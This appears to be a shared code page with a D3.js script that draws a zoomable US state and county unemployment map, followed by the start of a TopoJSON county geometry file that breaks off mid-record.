  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;v0.1&apos;)
var width = 960
var height = 600
var padding = 20

var allData = []

var color = d3.scale.threshold()
    .domain([0.028, 0.038, 0.048, 0.058, 0.068, 0.078])
    .range([&apos;#4d9221&apos;, &apos;#a1d76a&apos;, &apos;#e6f5d0&apos;, &apos;#f7f7f7&apos;, &apos;#fde0ef&apos;, &apos;#e9a3c9&apos;, &apos;#c51b7d&apos;])

var projection = d3.geo.albers()
    .precision(0)
    .scale(height * 2).translate([width / 2, height / 2])

var path = d3.geo.path().projection(projection)

var svg = d3.select(&apos;#zoomy-map&apos;)
    //.append(&apos;svg&apos;)
    .attr(&apos;width&apos;, width)
    .attr(&apos;height&apos;, height)

  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;width &apos;+width)
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;height &apos;+height)


/*
queue()
    .defer(d3.csv, &apos;data.csv&apos;, function (d) {
        return {
            id: +(d.state + d.county),
            state: d.state,
            county: d.county,
            unemployment: +d.unemployment
        }
    })
    .defer(d3.json, &apos;us-states.json&apos;)
    .defer(d3.json, &apos;us-counties.json&apos;)
    .awaitAll(initialize)
*/

d3.csv(&apos;data.csv&apos;, function(error, data){
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;data.csv loaded&apos;)
  allData.push(data)
 
  
  d3.json(&apos;us-states.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-states.json loaded&apos;)
    allData.push(data)
    
    d3.json(&apos;us-counties.json&apos;, function(error, data){
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;us-counties.json loaded&apos;)
      
      allData.push(data)
      allData[0].forEach(function(d,i){
        if(i&lt;10){ console.log(&apos;foreach d&apos;, d)}
        allData[0][i] = {
        &apos;id&apos;: +(d.state + d.county),
         &apos;county&apos;: d.county,
        &apos;state&apos;: d.state,
        &apos;unemployment&apos;: +d.unemployment
        }
      })
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[0] length: &apos;+allData[0].length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[1] length: &apos;+allData[1].arcs.length)
      
      d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;allData[2] length: &apos;+allData[2].arcs.length)
      
      console.log(&apos;======&gt; alldata&apos;, allData)
      initialize({},allData)
    })
  })
})

function initialize(error, results) {
    //if (error) { throw error }
  
  d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;running initialize()&apos;)

    var data = results[0]
    var states = topojson.feature(results[1], results[1].objects.states).features
    var counties = topojson.feature(results[2], results[2].objects.counties).features
    
    console.log(&apos;states --&gt;&apos;, states)

    states.forEach(function (f,i) {
      
      	if(i&lt;5){ 
            //d3.select(&apos;#console&apos;).append(&apos;p&apos;).text(&apos;state data &apos;+JSON.stringify(f))
          //console.log(&apos;--&gt; f &apos;,f, &apos;f.id&apos;, f.id)
          //console.log(&apos;--&gt; data find&apos;, data.find(function (d,i) {
            //if(i&lt;10){ console.log(&apos;--&gt; find d&apos;, d)}
            //return d.id === f.id
          //}))    
        }
        f.properties = data.find(function (d) { return d.id === f.id })
    })
    
    console.log(&apos;states after foreach ==&gt;&apos;, states)

    counties.forEach(function (f) {
        f.properties = data.find(function (d) { return d.id === f.id }) || {}
    })

    var statePaths = svg.selectAll(&apos;.state&apos;)
        .data(states)
        .enter().append(&apos;path&apos;)
        .attr(&apos;class&apos;, &apos;state&apos;)
        .attr(&apos;d&apos;, path)
        .style(&apos;fill&apos;, function (d) { 
          //console.log(d)
          return color(d.properties.unemployment) 
        })
        .on(&apos;click&apos;, function (d) { stateZoom(d.id) })

    function usZoom() {
      	alert(&quot;US Zoom&quot;);
        var t = d3.transition().duration(800)

        projection.scale(height * 2).translate([width / 2, height / 2])

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })

        svg.selectAll(&apos;.county&apos;)
            .data([])
            .exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }

    function stateZoom(id) {
				alert(&quot;State Zoom&quot;);
        var state = states.find(function (d) { return d.id === id })
        var stateCounties = counties.filter(function (d) {
            return d.id &gt; id &amp;&amp; d.id &lt; id + 1000
        })

        var t = d3.transition().duration(800)

        var countyPaths = svg.selectAll(&apos;.county&apos;)
            .data(stateCounties, function (d) { return d.id })

        var enterCountyPaths = countyPaths.enter().append(&apos;path&apos;)
            .attr(&apos;class&apos;, &apos;county&apos;)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, function (d) { return color(d.properties.unemployment) })
            .style(&apos;opacity&apos;, 0)
            .on(&apos;click&apos;, function () { usZoom() })

        projection.fitExtent(
            [[padding, padding], [width - padding, height - padding]],
            state
        )

        statePaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;fill&apos;, &apos;#444&apos;)

        enterCountyPaths.transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 1)

        countyPaths.exit().transition(t)
            .attr(&apos;d&apos;, path)
            .style(&apos;opacity&apos;, 0)
            .remove()
    }
}

&lt;/script&gt;
&lt;/body&gt;
</code></pre>
<h3>us-counties.json</h3><pre><code class="language-json">{&quot;type&quot;:&quot;Topology&quot;,&quot;objects&quot;:{&quot;counties&quot;:{&quot;type&quot;:&quot;GeometryCollection&quot;,&quot;bbox&quot;:[-179.1473399999999,17.67439566600018,179.7784800000003,71.38921046500008],&quot;geometries&quot;:[{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53073,&quot;arcs&quot;:[[[0,1,2]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30105,&quot;arcs&quot;:[[3,4,5,6,7,8]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30029,&quot;arcs&quot;:[[9,10,11,12,13,14,15,16,17,18]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16021,&quot;arcs&quot;:[[19,20,21,22]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30071,&quot;arcs&quot;:[[-8,23,24,25,26,27]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38079,&quot;arcs&quot;:[[28,29,30,31]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30053,&quot;arcs&quot;:[[-18,32,33,-20,34]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38009,&quot;arcs&quot;:[[-30,35,36,37,38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30035,&quot;arcs&quot;:[[39,40,-10,41]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30041,&quot;arcs&quot;:[[42,43,44,45]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30005,&quot;arcs&quot;:[[-27,46,47,-46,48]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30019,&quot;arcs&quot;:[[49,50,-4,51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38067,&quot;arcs&quot;:[[52,53,54,55]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27069,&quot;arcs&quot;:[[56,57,-53,58]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38095,&quot;arcs&quot;:[[59,60,61,-32,62,63]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38019,&quot;arcs&quot;:[[-55,64,65,-64,66]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53047,&quot;arcs&quot;:[[67,68,69,70,71,72,-1,73]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53065,&quot;arcs&quot;:[[74,75,76,77,78]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53051,&quot;arcs&quot;:[[-22,79,80,-75,81]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53019,&quot;arcs&quot;:[[-78,82,-68,83]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30051,&quot;arcs&quot;:[[84,85,86,-44,87]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38023,&quot;arcs&quot;:[[88,89,90,91]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38013,&quot;arcs&quot;:[[92,93,94,95,-89,96]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30101,&quot;arcs&quot;:[[97,-86,98,-40]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38075,&quot;arcs&quot;:[[99,100,-93,101,-38]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27135,&quot;arcs&quot;:[[102,103,-57,104,105]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30091,&quot;arcs&quot;:[[-91,106,107,-50,108]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16017,&quot;arcs&quot;:[[-34,109,110,111,112,-80,-21]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38101,&quot;arcs&quot;:[[-101,113,114,115,-94]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53055,&quot;arcs&quot;:[[[116]],[[117]],[[118]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27071,&quot;arcs&quot;:[[119,120,121,122,123]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53057,&quot;arcs&quot;:[[[124,-2,-73,125,126,127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38105,&quot;arcs&quot;:[[-96,128,129,130,-107,-90]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38049,&quot;arcs&quot;:[[131,132,133,-114,-100,-37]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27137,&quot;arcs&quot;:[[134,135,136,137,138,139,-120,140]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30085,&quot;arcs&quot;:[[-108,-131,141,142,-5,-51]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53007,&quot;arcs&quot;:[[-72,143,144,145,146,-126]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38061,&quot;arcs&quot;:[[147,148,149,-129,-95,-116]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27089,&quot;arcs&quot;:[[150,151,152,153,154,-58,-104]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38069,&quot;arcs&quot;:[[-62,155,156,157,-132,-36,-29]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:38071,&quot;arcs&quot;:[[[158]],[[159,160,161,-60,-66]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38099,&quot;arcs&quot;:[[-54,-155,162,163,-160,-65]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27007,&quot;arcs&quot;:[[-122,164,165,166,167,168,-151,-103,169]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30073,&quot;arcs&quot;:[[-99,-85,170,171,-11,-41]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53029,&quot;arcs&quot;:[[[172,173]],[[174]]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53009,&quot;arcs&quot;:[[[175,176]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38005,&quot;arcs&quot;:[[-61,-162,177,178,179,-156],[-159]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30015,&quot;arcs&quot;:[[-48,180,181,182,183,-171,-88,-43]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53061,&quot;arcs&quot;:[[[-147,184,185,-173,186,-127]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30089,&quot;arcs&quot;:[[-17,187,188,189,190,-110,-33]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27075,&quot;arcs&quot;:[[191,192,-135,193]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38063,&quot;arcs&quot;:[[194,195,196,197,-178,-161,-164]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38035,&quot;arcs&quot;:[[-154,198,199,200,-195,-163]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27119,&quot;arcs&quot;:[[201,202,203,204,205,206,207,-199,-153]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27113,&quot;arcs&quot;:[[-169,208,-204,209,-202,-152]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30083,&quot;arcs&quot;:[[210,211,212,213,-142]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53017,&quot;arcs&quot;:[[214,215,-144,-71]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38053,&quot;arcs&quot;:[[-150,216,217,218,219,-211,-130]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53031,&quot;arcs&quot;:[[[220,221,222,-176,223]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30099,&quot;arcs&quot;:[[-184,224,225,-12,-172]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30055,&quot;arcs&quot;:[[-214,226,227,228,-6,-143]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16079,&quot;arcs&quot;:[[-191,229,230,231,232,233,-111]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30047,&quot;arcs&quot;:[[234,-188,-16]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53063,&quot;arcs&quot;:[[-81,-113,235,236,237,238,-76]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27029,&quot;arcs&quot;:[[239,240,241,-205,-209,-168]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16055,&quot;arcs&quot;:[[-234,242,-236,-112]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30033,&quot;arcs&quot;:[[-229,243,244,245,246,-24,-7]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27125,&quot;arcs&quot;:[[-203,-210]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53025,&quot;arcs&quot;:[[-70,247,248,249,250,251,252,-215]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53043,&quot;arcs&quot;:[[-83,-77,-239,253,254,-248,-69]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30049,&quot;arcs&quot;:[[255,256,257,258,259,-13,-226]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53035,&quot;arcs&quot;:[[[260]],[[261,262,263,264,265]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27061,&quot;arcs&quot;:[[-140,266,267,-165,-121]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38055,&quot;arcs&quot;:[[268,269,270,271,272,-148,-115,-134]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38027,&quot;arcs&quot;:[[-198,273,274,275,-179]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38103,&quot;arcs&quot;:[[-180,-276,276,277,278,279,-157]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38083,&quot;arcs&quot;:[[-158,-280,280,281,-269,-133]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38025,&quot;arcs&quot;:[[-273,282,283,284,-217,-149]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30027,&quot;arcs&quot;:[[-26,285,286,287,288,289,-181,-47]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30021,&quot;arcs&quot;:[[-213,290,291,-227]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53033,&quot;arcs&quot;:[[[292]],[[-146,293,294,295,-185]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30013,&quot;arcs&quot;:[[296,297,-256,-225,-183]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38091,&quot;arcs&quot;:[[-201,298,299,300,301,-196]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38039,&quot;arcs&quot;:[[-302,302,303,304,-274,-197]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38097,&quot;arcs&quot;:[[305,306,-299,-200,-208]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53045,&quot;arcs&quot;:[[[307,-265,308,309,310,311,-221]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30063,&quot;arcs&quot;:[[-15,312,313,314,315,316,317,-189,-235]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30077,&quot;arcs&quot;:[[-260,318,319,320,-313,-14]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30069,&quot;arcs&quot;:[[-247,321,322,-286,-25]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53037,&quot;arcs&quot;:[[-216,-253,323,-294,-145]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38031,&quot;arcs&quot;:[[-305,324,-277,-275]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38057,&quot;arcs&quot;:[[325,326,327,-283,-272]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53027,&quot;arcs&quot;:[[[-312,328,329,330,331,-222]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27087,&quot;arcs&quot;:[[332,333,-206,-242]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27107,&quot;arcs&quot;:[[-207,-334,334,335,336,-306]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30061,&quot;arcs&quot;:[[-318,337,-230,-190]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27021,&quot;arcs&quot;:[[338,339,340,341,342,343,-166,-268]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23003,&quot;arcs&quot;:[[344,345,346,347,348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30045,&quot;arcs&quot;:[[-290,349,350,-297,-182]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16009,&quot;arcs&quot;:[[-233,351,352,-237,-243]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27057,&quot;arcs&quot;:[[-344,353,354,-240,-167]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53053,&quot;arcs&quot;:[[[-295,355,356,357,358]],[[-262,359]],[[-309,-264,360]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30109,&quot;arcs&quot;:[[-220,361,362,363,-291,-212]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38007,&quot;arcs&quot;:[[-285,364,365,366,-218]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38033,&quot;arcs&quot;:[[-367,367,368,-362,-219]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38043,&quot;arcs&quot;:[[369,370,371,372,-281,-279]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38093,&quot;arcs&quot;:[[-304,373,374,375,-370,-278,-325]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38015,&quot;arcs&quot;:[[-373,376,377,378,-270,-282]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38065,&quot;arcs&quot;:[[-379,379,-326,-271]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53001,&quot;arcs&quot;:[[380,381,-249,-255]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53075,&quot;arcs&quot;:[[-238,-353,382,383,384,385,386,387,-381,-254]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38003,&quot;arcs&quot;:[[-301,388,389,390,-374,-303]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38017,&quot;arcs&quot;:[[-307,-337,391,392,393,-389,-300]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53067,&quot;arcs&quot;:[[-358,394,-329,-311,395]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30079,&quot;arcs&quot;:[[-364,396,397,-244,-228,-292]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27005,&quot;arcs&quot;:[[-355,398,399,400,-335,-333,-241]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27027,&quot;arcs&quot;:[[-401,401,402,403,-392,-336]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16057,&quot;arcs&quot;:[[-232,404,405,-383,-352]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53077,&quot;arcs&quot;:[[-252,406,407,408,409,-356,-324]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30059,&quot;arcs&quot;:[[-351,410,411,412,413,414,-257,-298]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27001,&quot;arcs&quot;:[[-139,415,416,417,418,419,-339,-267]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26131,&quot;arcs&quot;:[[420,421,422,423]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38089,&quot;arcs&quot;:[[-328,424,425,426,427,-365,-284]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38059,&quot;arcs&quot;:[[-378,428,429,430,-425,-327,-380]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26013,&quot;arcs&quot;:[[431,432,433,434]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16035,&quot;arcs&quot;:[[-338,-317,435,436,437,-405,-231]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30017,&quot;arcs&quot;:[[438,439,440,441,-245,-398]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30087,&quot;arcs&quot;:[[-442,442,443,444,445,446,-322,-246]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30039,&quot;arcs&quot;:[[447,448,-314,-321]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27159,&quot;arcs&quot;:[[-343,449,450,-399,-354]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27035,&quot;arcs&quot;:[[-420,451,452,-340]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53049,&quot;arcs&quot;:[[[453,454,455,-331]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53041,&quot;arcs&quot;:[[-395,-357,-410,456,457,458,-454,-330]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30007,&quot;arcs&quot;:[[-415,459,460,-258]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27017,&quot;arcs&quot;:[[461,462,-416,-138]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26053,&quot;arcs&quot;:[[463,464,465,466,-422]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30065,&quot;arcs&quot;:[[-447,467,468,-287,-323]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26095,&quot;arcs&quot;:[[469,470,471,472,473]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30037,&quot;arcs&quot;:[[-469,474,475,476,477,-288]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30107,&quot;arcs&quot;:[[-289,-478,478,-411,-350]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53021,&quot;arcs&quot;:[[479,480,481,-250,-382,-388]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53005,&quot;arcs&quot;:[[482,483,484,485,-407,-251,-482]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27111,&quot;arcs&quot;:[[-451,486,487,488,489,-402,-400]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38037,&quot;arcs&quot;:[[490,491,492,-426,-431]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53023,&quot;arcs&quot;:[[493,494,495,-386]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30025,&quot;arcs&quot;:[[-369,496,497,498,499,-439,-397,-363]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16049,&quot;arcs&quot;:[[500,501,502,503,504,505,506,-436,-316]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30081,&quot;arcs&quot;:[[-449,507,508,509,-501,-315]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38029,&quot;arcs&quot;:[[-372,510,511,512,513,-429,-377]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38047,&quot;arcs&quot;:[[-376,514,515,-511,-371]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16069,&quot;arcs&quot;:[[-438,516,-506,517,518,-384,-406]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38087,&quot;arcs&quot;:[[519,520,521,-497,-368,-366,-428]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38045,&quot;arcs&quot;:[[522,523,524,-515,-375,-391]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38041,&quot;arcs&quot;:[[-493,525,-520,-427]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27167,&quot;arcs&quot;:[[-490,526,527,528,-403]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38073,&quot;arcs&quot;:[[-394,529,530,531,-523,-390]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38077,&quot;arcs&quot;:[[-529,532,533,534,-530,-393,-404]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53013,&quot;arcs&quot;:[[535,536,537,-480,-387,-496]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53071,&quot;arcs&quot;:[[-538,538,-483,-481]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55051,&quot;arcs&quot;:[[-466,539,540,541,542]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23025,&quot;arcs&quot;:[[543,544,545,546,547,548,-348]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23021,&quot;arcs&quot;:[[549,-544,-347]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30043,&quot;arcs&quot;:[[-461,550,551,552,553,-319,-259]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26153,&quot;arcs&quot;:[[-472,554,555,556,557]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30111,&quot;arcs&quot;:[[558,559,560,561,-475,-468,-446]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:30103,&quot;arcs&quot;:[[562,-559,-445]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:16061,&quot;arcs&quot;:[[-437,-507,-517]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53003,&quot;arcs&quot;:[[-519,563,-494,-385]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38085,&quot;arcs&quot;:[[-514,564,565,-491,-430]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:26071,&quot;arcs&quot;:[[-433,566,567,568,569,570,-464,-421,571]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27115,&quot;arcs&quot;:[[572,573,574,575,-417,-463]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:23019,&quot;arcs&quot;:[[576,577,578,579,-545,-550,-346]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53059,&quot;arcs&quot;:[[-409,580,581,582,583,584,-457]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:53015,&quot;arcs&quot;:[[-585,585,586,587,588,-458]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:53069,&quot;arcs&quot;:[[[-459,-589,589,-455]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27153,&quot;arcs&quot;:[[-342,590,591,592,-487,-450]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:27097,&quot;arcs&quot;:[[-453,593,594,595,-591,-341]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:55125,&quot;arcs&quot;:[[596,597,-540,-465,-571,598]]},{&quot;type&quot;:&quot;MultiPolygon&quot;,&quot;id&quot;:41007,&quot;arcs&quot;:[[[599,600,601]]]},{&quot;type&quot;:&quot;Polygon&quot;,&quot;id&quot;:38001,&quot;arcs&quot;:[[-492,-566,602,603,604,605,-521,-526]]},{&quot;type&quot;:&quot;Pol